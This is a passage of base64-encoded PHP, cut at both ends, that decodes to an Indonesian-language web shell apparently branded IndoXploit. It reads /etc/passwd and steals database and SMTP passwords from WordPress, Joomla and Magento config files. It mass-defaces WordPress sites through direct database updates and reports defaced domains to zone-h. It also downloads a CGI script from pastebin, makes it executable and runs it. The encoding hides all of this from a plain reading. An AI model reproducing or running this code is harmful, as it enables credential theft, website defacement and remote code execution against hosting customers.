s7DQoJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkJCWVjaG8gIlsrXSA8Zm9udCBjb2xvcj1yZWQ+Z2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD48YnI+PGJyPiI7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCQllY2hvICJbLV0gPGZvbnQgY29sb3I9cmVkPkRlZmFjZSBHYWdhbDwvZm9udD48YnI+PGJyPiI7DQoJCQkJCQkJCX0NCgkJCQkJCQl9DQoJCQkJCQkJLy9lY2hvICJ1c2VybmFtZSAoPGZvbnQgY29sb3I9bGltZT4kdWNwPC9mb250PikgcGFzc3dvcmQgKDxmb250IGNvbG9yPWxpbWU+JHBjcDwvZm9udD4pPGJyPiI7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgkJaWYoJGkgPT0gMCkgew0KCQl9IGVsc2Ugew0KCQkJZWNobyAiPGJyPnN1a3NlcyBkZWZhY2UgIi4kaS4iIENwYW5lbCBieSA8Zm9udCBjb2xvcj1saW1lPkluZG9YcGxvaXQuPC9mb250PiI7DQoJCX0NCgl9IGVsc2Ugew0KCQllY2hvICI8Y2VudGVyPg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQlGaWxlbmFtZTogPGJyPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZV9kZWZhY2UnIHBsYWNlaG9sZGVyPSdpbmRleC5waHAnIHZhbHVlPSdpbmRleC5waHAnIHN0eWxlPSd3aWR0aDogNDUwcHg7Jz48YnI+DQoJCURlZmFjZSBQYWdlOiA8YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkZWZhY2UnIHBsYWNlaG9sZGVyPSdodHRwOi8vd3d3LndlYi15YW5nLXVkYWgtZGktZGVmYWNlLmNvbS9maWxlbXUucGhwJyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+PGJyPg0KCQlVU0VSOiA8YnI+DQoJCTx0ZXh0YXJlYSBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDE1MHB4OycgbmFtZT0ndXNlcl9jcCc+IjsNCgkJJF91c2VyY3AgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCJyIik7DQoJCXdoaWxlKCRnZXR1ID0gZmdldHMoJF91c2VyY3ApKSB7DQoJCQlpZigkZ2V0dSA9PSAnJyB8fCAhJF91c2VyY3ApIHsNCgkJCQllY2hvICI8Zm9udCBjb2xvcj1yZWQ+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD4iOw0KCQkJfSBlbHNlIHsNCgkJCQlwcmVnX21hdGNoX2FsbCgiLyguKj8pOng6LyIsICRnZXR1LCAkdSk7DQoJCQkJZm9yZWFjaCgkdVsxXSBhcyAkdXNlcl9jcCkgew0KCQkJCQkJaWYoaXNfZGlyKCIvaG9tZS8kdXNlcl9jcC9wdWJsaWNfaHRtbCIpKSB7DQoJCQkJCQkJZWNobyAiJHVzZXJfY3BcbiI7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgkJZWNobyAiPC90ZXh0YXJlYT48YnI+DQoJCVBBU1M6IDxicj4NCgkJPHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMjAwcHg7JyBuYW1lPSdwYXNzX2NwJz4iOw0KCQlmdW5jdGlvbiBjcF9wYXNzKCRkaXIpIHsNCgkJCSRwYXNzID0gIiI7DQoJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkJaWYoIWlzX2ZpbGUoIiRkaXIvJGRpcmIiKSkgY29udGludWU7DQoJCQkJJGFtYmlsID0gZmlsZV9nZXRfY29udGVudHMoIiRkaXIvJGRpcmIiKTsNCgkJCQlpZihwcmVnX21hdGNoKCIvV29yZFByZXNzLyIsICRhbWJpbCkpIHsNCgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiREJfUEFTU1dPUkQnLCAnIiwiJyIpLiJcbiI7DQoJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL0pDb25maWd8am9vbWxhLyIsICRhbWJpbCkpIHsNCgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwicGFzc3dvcmQgPSAnIiwiJyIpLiJcbiI7DQoJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL01hZ2VudG98TWFnZV9Db3JlLyIsICRhbWJpbCkpIHsNCgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiPHBhc3N3b3JkPjwhW0NEQVRBWyIsIl1dPjwvcGFzc3dvcmQ+IikuIlxuIjsNCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvcGFuZ2dpbCBmdW5nc2kgdmFsaWRhc2kgeHNzIGRhbiBpbmplY3Rpb24vIiwgJGFtYmlsKSkgew0KCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCdwYXNzd29yZCA9ICInLCciJykuIlxuIjsNCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvSFRUUF9TRVJWRVJ8SFRUUF9DQVRBTE9HfERJUl9DT05GSUd8RElSX1NZU1RFTS8iLCAkYW1iaWwpKSB7DQoJCQkJCSRwYXNzIC49IGFtYmlsa2F0YSgkYW1iaWwsIidEQl9QQVNTV09SRCcsICciLCInIikuIlxuIjsNCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvY2xpZW50LyIsICRhbWJpbCkpIHsNCgkJCQkJcHJlZ19tYXRjaCgiL3Bhc3N3b3JkPSguKikvIiwgJGFtYmlsLCAkcGFzczEpOw0KCQkJCQlpZihwcmVnX21hdGNoKCcvIi8nLCAkcGFzczFbMV0pKSB7DQoJCQkJCQkkcGFzczFbMV0gPSBzdHJfcmVwbGFjZSgnIicsICIiLCAkcGFzczFbMV0pOw0KCQkJCQkJJHBhc3MgLj0gJHBhc3MxWzFdLiJcbiI7DQoJCQkJCX0NCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvY2NfZW5jcnlwdGlvbl9oYXNoLyIsICRhbWJpbCkpIHsNCgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiZGJfcGFzc3dvcmQgPSAnIiwiJyIpLiJcbiI7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAkcGFzczsNCgkJfQ0KCQkkY3BfcGFzcyA9IGNwX3Bhc3MoJGRpcik7DQoJCWVjaG8gJGNwX3Bhc3M7DQoJCWVjaG8gIjwvdGV4dGFyZWE+PGJyPg0KCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjcmFjaycgc3R5bGU9J3dpZHRoOiA0NTBweDsnIHZhbHVlPSdIYWphcic+DQoJCTwvZm9ybT4NCgkJPHNwYW4+TkI6IENQYW5lbCBDcmFjayBpbmkgc3VkYWggYXV0byBnZXQgcGFzc3dvcmQgKCBwYWtlIGRiIHBhc3N3b3JkICkgbWFrYSBha2FuIHdvcmsgamlrYSBkaWphbGFua2FuIGRpIGRhbGFtIGZvbGRlciA8dT5jb25maWc8L3U+ICggZXg6IC9ob21lL3VzZXIvcHVibGljX2h0bWwvbmFtYV9mb2xkZXJfY29uZmlnICk8L3NwYW4+PGJyPjwvY2VudGVyPiI7DQoJfQ0KfSBlbHNlaWYoJF9HRVRbJ2RvJ10gPT0gJ3NtdHAnKSB7DQoJZWNobyAiPGNlbnRlcj48c3Bhbj5OQjogVG9vbHMgaW5pIHdvcmsgamlrYSBkaWphbGFua2FuIGRpIGRhbGFtIGZvbGRlciA8dT5jb25maWc8L3U+ICggZXg6IC9ob21lL3VzZXIvcHVibGljX2h0bWwvbmFtYV9mb2xkZXJfY29uZmlnICk8L3NwYW4+PC9jZW50ZXI+PGJyPiI7DQoJZnVuY3Rpb24gc2NqKCRkaXIpIHsNCgkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOw0KCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQlpZighaXNfZmlsZSgiJGRpci8kZGlyYiIpKSBjb250aW51ZTsNCgkJCSRhbWJpbCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkZGlyLyRkaXJiIik7DQoJCQkkYW1iaWwgPSBzdHJfcmVwbGFjZSgiJCIsICIiLCAkYW1iaWwpOw0KCQkJaWYocHJlZ19tYXRjaCgiL0pDb25maWd8am9vbWxhLyIsICRhbWJpbCkpIHsNCgkJCQkkc210cF9ob3N0ID0gYW1iaWxrYXRhKCRhbWJpbCwic210cGhvc3QgPSAnIiwiJyIpOw0KCQkJCSRzbXRwX2F1dGggPSBhbWJpbGthdGEoJGFtYmlsLCJzbXRwYXV0aCA9ICciLCInIik7DQoJCQkJJHNtdHBfdXNlciA9IGFtYmlsa2F0YSgkYW1iaWwsInNtdHB1c2VyID0gJyIsIiciKTsNCgkJCQkkc210cF9wYXNzID0gYW1iaWxrYXRhKCRhbWJpbCwic210cHBhc3MgPSAnIiwiJyIpOw0KCQkJCSRzbXRwX3BvcnQgPSBhbWJpbGthdGEoJGFtYmlsLCJzbXRwcG9ydCA9ICciLCInIik7DQoJCQkJJHNtdHBfc2VjdXJlID0gYW1iaWxrYXRhKCRhbWJpbCwic210cHNlY3VyZSA9ICciLCInIik7DQoJCQkJZWNobyAiU01UUCBIb3N0OiA8Zm9udCBjb2xvcj1saW1lPiRzbXRwX2hvc3Q8L2ZvbnQ+PGJyPiI7DQoJCQkJZWNobyAiU01UUCBwb3J0OiA8Zm9udCBjb2xvcj1saW1lPiRzbXRwX3BvcnQ8L2ZvbnQ+PGJyPiI7DQoJCQkJZWNobyAiU01UUCB1c2VyOiA8Zm9udCBjb2xvcj1saW1lPiRzbXRwX3VzZXI8L2ZvbnQ+PGJyPiI7DQoJCQkJZWNobyAiU01UUCBwYXNzOiA8Zm9udCBjb2xvcj1saW1lPiRzbXRwX3Bhc3M8L2ZvbnQ+PGJyPiI7DQoJCQkJZWNobyAiU01UUCBhdXRoOiA8Zm9udCBjb2xvcj1saW1lPiRzbXRwX2F1dGg8L2ZvbnQ+PGJyPiI7DQoJCQkJZWNobyAiU01UUCBzZWN1cmU6IDxmb250IGNvbG9yPWxpbWU+JHNtdHBfc2VjdXJlPC9mb250Pjxicj48YnI+IjsNCgkJCX0NCgkJfQ0KCX0NCgkkc21wdF9odW50ZXIgPSBzY2ooJGRpcik7DQoJZWNobyAkc21wdF9odW50ZXI7DQp9IGVsc2VpZigkX0dFVFsnZG8nXSA9PSAnYXV0b193cCcpIHsNCglpZigkX1BPU1RbJ2hhamFyJ10pIHsNCgkJJHRpdGxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ25ld190aXRsZSddKTsNCgkJJHBuX3RpdGxlID0gc3RyX3JlcGxhY2UoIiAiLCAiLSIsICR0aXRsZSk7DQoJCWlmKCRfUE9TVFsnY2VrX2VkaXQnXSA9PSAiWSIpIHsNCgkJCSRzY3JpcHQgPSAkX1BPU1RbJ2VkaXRfY29udGVudCddOw0KCQl9IGVsc2Ugew0KCQkJJHNjcmlwdCA9ICR0aXRsZTsNCgkJfQ0KCQkkY29uZiA9ICRfUE9TVFsnY29uZmlnX2RpciddOw0KCQkkc2Nhbl9jb25mID0gc2NhbmRpcigkY29uZik7DQoJCWZvcmVhY2goJHNjYW5fY29uZiBhcyAkZmlsZV9jb25mKSB7DQoJCQlpZighaXNfZmlsZSgiJGNvbmYvJGZpbGVfY29uZiIpKSBjb250aW51ZTsNCgkJCSRjb25maWcgPSBmaWxlX2dldF9jb250ZW50cygiJGNvbmYvJGZpbGVfY29uZiIpOw0KCQkJaWYocHJlZ19tYXRjaCgiL1dvcmRQcmVzcy8iLCAkY29uZmlnKSkgew0KCQkJCSRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfSE9TVCcsICciLCInIik7DQoJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9VU0VSJywgJyIsIiciKTsNCgkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsNCgkJCQkkZGJuYW1lID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX05BTUUnLCAnIiwiJyIpOw0KCQkJCSRkYnByZWZpeCA9IGFtYmlsa2F0YSgkY29uZmlnLCJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTsNCgkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJwb3N0cyI7DQoJCQkJJG9wdGlvbiA9ICRkYnByZWZpeC4ib3B0aW9ucyI7DQoJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQoJCQkJJHEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkcHJlZml4IE9SREVSIEJZIElEIEFTQyIpOw0KCQkJCSRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcSk7DQoJCQkJJGlkID0gJHJlc3VsdFtJRF07DQoJCQkJJHEyID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJG9wdGlvbiBPUkRFUiBCWSBvcHRpb25faWQgQVNDIik7DQoJCQkJJHJlc3VsdDIgPSBteXNxbF9mZXRjaF9hcnJheSgkcTIpOw0KCQkJCSR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOw0KCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHBvc3RfdGl0bGU9JyR0aXRsZScscG9zdF9jb250ZW50PSckc2NyaXB0Jyxwb3N0X25hbWU9JyRwbl90aXRsZScscG9zdF9zdGF0dXM9J3B1Ymxpc2gnLGNvbW1lbnRfc3RhdHVzPSdvcGVuJyxwaW5nX3N0YXR1cz0nb3BlbicscG9zdF90eXBlPSdwb3N0Jyxjb21tZW50X2NvdW50PScxJyBXSEVSRSBpZD0nJGlkJyIpOw0KCQkJCSR1cGRhdGUgLj0gbXlzcWxfcXVlcnkoIlVQREFURSAkb3B0aW9uIFNFVCBvcHRpb25fdmFsdWU9JyR0aXRsZScgV0hFUkUgb3B0aW9uX25hbWU9J2Jsb2duYW1lJyBPUiBvcHRpb25fbmFtZT0nYmxvZ2Rlc2NyaXB0aW9uJyIpOw0KCQkJCWVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsNCgkJCQkJZWNobyAiVVJMOiA8Zm9udCBjb2xvcj1yZWQ+ZXJyb3IsIGdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+IC0+ICI7DQoJCQkJfSBlbHNlIHsNCgkJCQkJZWNobyAiVVJMOiA8YSBocmVmPSckdGFyZ2V0Lz9wPSRpZCcgdGFyZ2V0PSdfYmxhbmsnPiR0YXJnZXQvP3A9JGlkPC9hPiAtPiAiOw0KCQkJCX0NCgkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgew0KCQkJCQllY2hvICI8Zm9udCBjb2xvcj1yZWQ+TXlTUUwgRXJyb3I6ICIubXlzcWxfZXJyb3IoKS4iPC9mb250Pjxicj4iOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gIjxmb250IGNvbG9yPWxpbWU+c3Vrc2VzIGRpIGdhbnRpLjwvZm9udD48YnI+IjsNCgkJCQl9DQoJCQkJZWNobyAiPC9kaXY+IjsNCgkJCQlteXNxbF9jbG9zZSgkY29ubik7DQoJCQl9DQoJCX0NCgl9IGVsc2Ugew0KCQllY2hvICI8Y2VudGVyPg0KCQk8aDE+QXV0byBFZGl0IFRpdGxlK0NvbnRlbnQgV29yZFByZXNzPC9oMT4NCgkJPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCgkJRElSIENvbmZpZzogPGJyPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgc2l6ZT0nNTAnIG5hbWU9J2NvbmZpZ19kaXInIHZhbHVlPSckZGlyJz48YnI+PGJyPg0KCQlTZXQgVGl0bGU6IDxicj4NCgkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J25ld190aXRsZScgdmFsdWU9J0hhY2tlZCBieSBJbmRvWHBsb2l0JyBwbGFjZWhvbGRlcj0nTmV3IFRpdGxlJz48YnI+PGJyPg0KCQlFZGl0IENvbnRlbnQ/OiA8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J2Nla19lZGl0JyB2YWx1ZT0nWScgY2hlY2tlZD5ZPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSdjZWtfZWRpdCcgdmFsdWU9J04nPk48YnI+DQoJCTxzcGFuPkppa2EgcGlsaWggPHU+WTwvdT4gbWFzdWtpbiBzY3JpcHQgZGVmYWNlbXUgKCBzYXJhbiB5YW5nIHNpbXBsZSBhamEgKSwga2FsbyBwaWxpaCA8dT5OPC91PiBnYXVzYWggZGkgaXNpLjwvc3Bhbj48YnI+DQoJCTx0ZXh0YXJlYSBuYW1lPSdlZGl0X2NvbnRlbnQnIHBsYWNlaG9sZGVyPSdjb250b2ggc2NyaXB0OiBodHRwOi8vcGFzdGViaW4uY29tL0VwUDY3MWdLJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDE1MHB4Oyc+PC90ZXh0YXJlYT48YnI+DQoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2hhamFyJyB2YWx1ZT0nSGFqYXIhJyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+PGJyPg0KCQk8L2Zvcm0+DQoJCTxzcGFuPk5COiBUb29scyBpbmkgd29yayBqaWthIGRpamFsYW5rYW4gZGkgZGFsYW0gZm9sZGVyIDx1PmNvbmZpZzwvdT4gKCBleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9uYW1hX2ZvbGRlcl9jb25maWcgKTwvc3Bhbj48YnI+DQoJCSI7DQoJfQ0KfSBlbHNlaWYoJF9HRVRbJ2RvJ10gPT0gJ3pvbmVoJykgew0KCWlmKCRfUE9TVFsnc3VibWl0J10pIHsNCgkJJGRvbWFpbiA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VybCddKTsNCgkJJG5pY2sgPSAgJF9QT1NUWyduaWNrJ107DQoJCWVjaG8gIkRlZmFjZXIgT25ob2xkOiA8YSBocmVmPSdodHRwOi8vd3d3LnpvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj0kbmljay9wdWJsaXNoZWQ9MCcgdGFyZ2V0PSdfYmxhbmsnPmh0dHA6Ly93d3cuem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPSRuaWNrL3B1Ymxpc2hlZD0wPC9hPjxicj4iOw0KCQllY2hvICJEZWZhY2VyIEFyY2hpdmU6IDxhIGhyZWY9J2h0dHA6Ly93d3cuem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPSRuaWNrJyB0YXJnZXQ9J19ibGFuayc+aHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2s8L2E+PGJyPjxicj4iOw0KCQlmdW5jdGlvbiB6b25laCgkdXJsLCRuaWNrKSB7DQoJCQkkY2ggPSBjdXJsX2luaXQoImh0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvc2luZ2xlIik7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIHRydWUpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJkZWZhY2VyPSRuaWNrJmRvbWFpbjE9JHVybCZoYWNrbW9kZT0xJnJlYXNvbj0xJnN1Ym1pdD1TZW5kIik7DQoJCQlyZXR1cm4gY3VybF9leGVjKCRjaCk7DQoJCQkJICBjdXJsX2Nsb3NlKCRjaCk7DQoJCX0NCgkJZm9yZWFjaCgkZG9tYWluIGFzICR1cmwpIHsNCgkJCSR6b25laCA9IHpvbmVoKCR1cmwsJG5pY2spOw0KCQkJaWYocHJlZ19tYXRjaCgiL2NvbG9yPVwicmVkXCI+T0s8XC9mb250PjxcL2xpPi9pIiwgJHpvbmVoKSkgew0KCQkJCWVjaG8gIiR1cmwgLT4gPGZvbnQgY29sb3I9bGltZT5PSzwvZm9udD48YnI+IjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiJHVybCAtPiA8Zm9udCBjb2xvcj1yZWQ+RVJST1I8L2ZvbnQ+PGJyPiI7DQoJCQl9DQoJCX0NCgl9IGVsc2Ugew0KCQllY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCTx1PkRlZmFjZXI8L3U+OiA8YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduaWNrJyBzaXplPSc1MCcgdmFsdWU9J0luZG9YcGxvaXQnPjxicj4NCgkJPHU+RG9tYWluczwvdT46IDxicj4NCgkJPHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMTUwcHg7JyBuYW1lPSd1cmwnPjwvdGV4dGFyZWE+PGJyPg0KCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdWJtaXQnIHZhbHVlPSdTdWJtaXQnIHN0eWxlPSd3aWR0aDogNDUwcHg7Jz4NCgkJPC9mb3JtPiI7DQoJfQ0KCWVjaG8gIjwvY2VudGVyPiI7DQp9IGVsc2VpZigkX0dFVFsnZG8nXSA9PSAnY2dpJykgew0KCSRjZ2lfZGlyID0gbWtkaXIoJ2lkeF9jZ2knLCAwNzU1KTsNCgkkZmlsZV9jZ2kgPSAiaWR4X2NnaS9jZ2kuaXpvIjsNCgkkaXNpX2h0Y2dpID0gIkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuaXpvIjsNCgkkaHRjZ2kgPSBmb3BlbigiLmh0YWNjZXNzIiwgInciKTsNCglmd3JpdGUoJGh0Y2dpLCAkaXNpX2h0Y2dpKTsNCglmY2xvc2UoJGh0Y2dpKTsNCgkkY2dpX3NjcmlwdCA9IGdldHNvdXJjZSgiaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvTGo0Nkt4RlQiKTsNCgkkY2dpID0gZm9wZW4oJGZpbGVfY2dpLCAidyIpOw0KCWZ3cml0ZSgkY2dpLCAkY2dpX3NjcmlwdCk7DQoJZmNsb3NlKCRjZ2kpOw0KCWNobW9kKCRmaWxlX2NnaSwgMDc1NSk7DQoJZWNobyAiPGlmcmFtZSBzcmM9J2lkeF9jZ2kvY2dpLml6bycgd2lkdGg9JzEwMCUnIGhlaWdodD0nMTAwJScgZnJhbWVib3JkZXI9JzAnIHNjcm9sbGluZz0nbm8nPjwvaWZyYW1lPiI7DQp9IGVsc2VpZigkX0dFVFsnZG8nXSA9PSAnZmFrZV9yb290Jykgew0KCW9iX3N0YXJ0KCk7DQoJJGN3ZCA9IGdldGN3ZCgpOw0KCSRhbWJpbF91c2VyID0gZXhwbG9kZSgiLyIsICRjd2QpOw0KCSR1c2VyID0gJGFtYmlsX3VzZXJbMl07DQoJaWYoJF9QT1NUWydyZXZlcnNlJ10pIHsNCgkJJHNpdGUgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7DQoJCSRmaWxlID0gJF9QT1NUWydmaWxlJ107DQoJCWZvcmVhY2goJHNpdGUgYXMgJHVybCkgew0KCQkJJGNlayA9IGdldHNvdXJjZSgiJHVybC9+JHVzZXIvJGZpbGUiKTsNCgkJCWlmKHByZWdfbWF0Y2goIi9oYWNrZWQvaSIsICRjZWspKSB7DQoJCQkJZWNobyAiVVJMOiA8YSBocmVmPSckdXJsL34kdXNlci8kZmlsZScgdGFyZ2V0PSdfYmxhbmsnPiR1cmwvfiR1c2VyLyRmaWxlPC9hPiAtPiA8Zm9udCBjb2xvcj1saW1lPkZha2UgUm9vdCE8L2ZvbnQ+PGJyPiI7DQoJCQl9DQoJCX0NCgl9IGVsc2Ugew0KCQllY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCUZpbGVuYW1lOiA8YnI+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHZhbHVlPSdkZWZhY2UuaHRtbCcgc2l6ZT0nNTAnIGhlaWdodD0nMTAnPjxicj4NCgkJVXNlcjogPGJyPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nJHVzZXInIHNpemU9JzUwJyBoZWlnaHQ9JzEwJyByZWFkb25seT48YnI+DQoJCURvbWFpbjogPGJyPg0KCQk8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyNTBweDsnIG5hbWU9J3VybCc+IjsNCgkJcmV2ZXJzZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOw0KCQllY2hvICI8L3RleHRhcmVhPjxicj4NCgkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ncmV2ZXJzZScgdmFsdWU9J1NjYW4gRmFrZSBSb290IScgc3R5bGU9J3dpZHRoOiA0NTBweDsnPg0KCQk8L2Zvcm0+PGJyPg0KCQlOQjogU2ViZWx1bSBndW5haW4gVG9vbHMgaW5pICwgdXBsb2FkIGR1bHUgZmlsZSBkZWZhY2Uga2FsaWFuIGRpIGRpciAvaG9tZS91c2VyLyBkYW4gL2hvbWUvdXNlci9wdWJsaWNfaHRtbC48L2NlbnRlcj4iOw0KCX0NCn0gZWxzZWlmKCRfR0VUWydkbyddID09ICdhZG1pbmVyJykgew0KCSRmdWxsID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwgIiIsICRkaXIpOw0KCWZ1bmN0aW9uIGFkbWluZXIoJHVybCwgJGlzaSkgew0KCQkkZnAgPSBmb3BlbigkaXNpLCAidyIpOw0KCQkkY2ggPSBjdXJsX2luaXQoKTsNCgkJIAkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KCQkgCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsNCgkJIAkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQoJCSAJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCgkJICAgCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZJTEUsICRmcCk7DQoJCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsNCgkJICAgCSAgY3VybF9jbG9zZSgkY2gpOw0KCQlmY2xvc2UoJGZwKTsNCgkJb2JfZmx1c2goKTsNCgkJZmx1c2goKTsNCgl9DQoJaWYoZmlsZV9leGlzdHMoJ2FkbWluZXIucGhwJykpIHsNCgkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lPjxhIGhyZWY9JyRmdWxsL2FkbWluZXIucGhwJyB0YXJnZXQ9J19ibGFuayc+LT4gYWRtaW5lciBsb2dpbiA8LTwvYT48L2ZvbnQ+PC9jZW50ZXI+IjsNCgl9IGVsc2Ugew0KCQlpZihhZG1pbmVyKCJodHRwczovL3d3dy5hZG1pbmVyLm9yZy9zdGF0aWMvZG93bmxvYWQvNC4yLjQvYWRtaW5lci00LjIuNC5waHAiLCJhZG1pbmVyLnBocCIpKSB7DQoJCQllY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPWxpbWU+PGEgaHJlZj0nJGZ1bGwvYWRtaW5lci5waHAnIHRhcmdldD0nX2JsYW5rJz4tPiBhZG1pbmVyIGxvZ2luIDwtPC9hPjwvZm9udD48L2NlbnRlcj4iOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+Z2FnYWwgYnVhdCBmaWxlIGFkbWluZXI8L2ZvbnQ+PC9jZW50ZXI+IjsNCgkJfQ0KCX0NCn0gZWxzZWlmKCRfR0VUWydkbyddID09ICdhdXRvX2R3cCcpIHsNCglpZigkX1BPU1RbJ2F1dG9fZGVmYWNlX3dwJ10pIHsNCgkJZnVuY3Rpb24gYW51Y3VybCgkc2l0ZXMpIHsNCiAgICAJCSRjaCA9IGN1cmxfaW5pdCgkc2l0ZXMpOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm9